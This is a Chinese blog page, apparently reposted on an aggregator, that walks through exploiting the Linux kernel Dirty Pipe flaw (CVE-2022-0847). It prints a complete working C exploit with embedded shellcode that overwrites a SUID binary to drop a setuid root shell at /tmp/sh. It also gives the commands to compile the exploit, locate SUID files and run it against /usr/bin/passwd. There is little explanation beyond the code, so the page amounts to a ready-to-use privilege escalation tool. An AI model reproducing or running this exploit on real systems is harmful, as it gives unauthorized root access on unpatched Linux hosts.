当前位置: 首页 > news >正文

linux内核漏洞(CVE-2022-0847)

目录

1.打开kali,新建用户

2.将用户添加到sudoers文件夹中

3.编译a.c

4.找一个具有SUID权限的可执行文件,进行提权

5.执行poc提权


1.打开kali,新建用户

useradd test1 -p 123456 -d /home/test1 -s /bin/bash

2.将用户添加到sudoers文件夹中

vim /etc/sudoers

在user privilege 处将test1用户添加进root用户后面

3.编译a.c

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
  /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
  0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
  0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
  0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
  0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
  0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
  0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
  0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
  0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
  0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
  0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
  0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
  0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
  0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
  0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};
/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
  if (pipe(p)) abort();
  const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
  static char buffer[4096];
  /* fill the pipe completely; each pipe_buffer will now have
     the PIPE_BUF_FLAG_CAN_MERGE flag */
  for (unsigned r = pipe_size; r > 0;) {
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    write(p[1], buffer, n);
    r -= n;
  }
  /* drain the pipe, freeing all pipe_buffer instances (but
     leaving the flags initialized) */
  for (unsigned r = pipe_size; r > 0;) {
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    read(p[0], buffer, n);
    r -= n;
  }
  /* the pipe is now empty, and if somebody adds a new
     pipe_buffer without initializing its "flags", the buffer
     will be mergeable */
}
int hax(char *filename, long offset, uint8_t *data, size_t len) {
  /* open the input file and validate the specified offset */
  const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
  if (fd < 0) {
    perror("open failed");
    return -1;
  }
  struct stat st;
  if (fstat(fd, &st)) {
    perror("stat failed");
    return -1;
  }
  /* create the pipe with all flags initialized with
     PIPE_BUF_FLAG_CAN_MERGE */
  int p[2];
  prepare_pipe(p);
  /* splice one byte from before the specified offset into the
     pipe; this will add a reference to the page cache, but
     since copy_page_to_iter_pipe() does not initialize the
     "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
  --offset;
  ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
  if (nbytes < 0) {
    perror("splice failed");
    return -1;
  }
  if (nbytes == 0) {
    fprintf(stderr, "short splice\n");
    return -1;
  }
  /* the following write will not create a new pipe_buffer, but
     will instead write into the page cache, because of the
     PIPE_BUF_FLAG_CAN_MERGE flag */
  nbytes = write(p[1], data, len);
  if (nbytes < 0) {
    perror("write failed");
    return -1;
  }
  if ((size_t)nbytes < len) {
    fprintf(stderr, "short write\n");
    return -1;
  }
  close(fd);
  return 0;
}
int main(int argc, char **argv) {
  if (argc != 2) {
    fprintf(stderr, "Usage: %s SUID\n", argv[0]);
    return EXIT_FAILURE;
  }
  char *path = argv[1];
  uint8_t *data = elfcode;
  int fd = open(path, O_RDONLY);
  uint8_t *orig_bytes = malloc(sizeof(elfcode));
  lseek(fd, 1, SEEK_SET);
  read(fd, orig_bytes, sizeof(elfcode));
  close(fd);
  printf("[+] hijacking suid binary..\n");
  if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
    printf("[~] failed\n");
    return EXIT_FAILURE;
  }
  printf("[+] dropping suid shell..\n");
  system(path);
  printf("[+] restoring suid binary..\n");
  if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
    printf("[~] failed\n");
    return EXIT_FAILURE;
  }
  printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
  system("/tmp/sh");
  return EXIT_SUCCESS;
}

gcc a.c -o poc

4.找一个具有SUID权限的可执行文件,进行提权

find / -user root -perm /4000 2>/dev/null

5.执行poc提权

./poc /usr/bin/passwd

相关文章:

  • kubekey 离线部署 kubesphere v3.3.0
  • Git史上最详细教程(详细图解)
  • Python科学计算库练习题
  • 高性能MySQL实战第10讲:搭建稳固的MySQL运维体系
  • java毕业设计茶叶企业管理系统Mybatis+系统+数据库+调试部署
  • JAVA安装教程 (windows)
  • 6.hadoop文件数据库系列讲解
  • Day11OSI与TCP/IP协议簇以及物理层
  • Javaweb学生信息管理系统(Mysql+JSP+MVC+CSS)
  • ubuntu-hadoop伪分布
  • springboot 多环境配置(pom配置Profiles变量来,控制打包环境)
  • 计算机毕业设计ssm蓟县农家院网站2zl2w系统+程序+源码+lw+远程部署
  • 刷题记录(NC16645 [NOIP2007]矩阵取数游戏,NC207781 迁徙过程中的河流,NC235953 最大m个子段和)
  • 【网络服务数据库教程】05 LAMP 部署
  • QScintilla学习大全
  • 《网管员必读——网络组建》(第2版)电子课件下载
  • Angular 响应式表单 基础例子
  • - C#编程大幅提高OUTLOOK的邮件搜索能力!
  • CentOS6 编译安装 redis-3.2.3
  • CSS 三角实现
  • Javascripit类型转换比较那点事儿,双等号(==)
  • JAVA并发编程--1.基础概念
  • mysql 数据库四种事务隔离级别
  • Netty 框架总结「ChannelHandler 及 EventLoop」
  • Object.assign方法不能实现深复制
  • PAT A1017 优先队列
  • Spring-boot 启动时碰到的错误
  • uva 10370 Above Average
  • webpack+react项目初体验——记录我的webpack环境配置
  • 编写高质量JavaScript代码之并发
  • 工作踩坑系列——https访问遇到“已阻止载入混合活动内容”
  • 排序算法之--选择排序
  • 配置 PM2 实现代码自动发布
  • 新版博客前端前瞻
  • 《TCP IP 详解卷1:协议》阅读笔记 - 第六章
  • 函数计算新功能-----支持C#函数
  • #Ubuntu(修改root信息)
  • (13)[Xamarin.Android] 不同分辨率下的图片使用概论
  • (AngularJS)Angular 控制器之间通信初探
  • (ZT)出版业改革:该死的死,该生的生
  • (二)PySpark3:SparkSQL编程
  • (分布式缓存)Redis持久化
  • (附源码)spring boot基于小程序酒店疫情系统 毕业设计 091931
  • (附源码)springboot 校园学生兼职系统 毕业设计 742122
  • (附源码)小程序 交通违法举报系统 毕业设计 242045
  • (黑马出品_高级篇_01)SpringCloud+RabbitMQ+Docker+Redis+搜索+分布式
  • (转)如何上传第三方jar包至Maven私服让maven项目可以使用第三方jar包
  • .htaccess配置重写url引擎
  • .net 打包工具_pyinstaller打包的exe太大?你需要站在巨人的肩膀上-VC++才是王道
  • .net 开发怎么实现前后端分离_前后端分离:分离式开发和一体式发布
  • .net 验证控件和javaScript的冲突问题
  • .Net程序帮助文档制作
  • .net和jar包windows服务部署
  • .net流程开发平台的一些难点(1)
  • .stream().map与.stream().flatMap的使用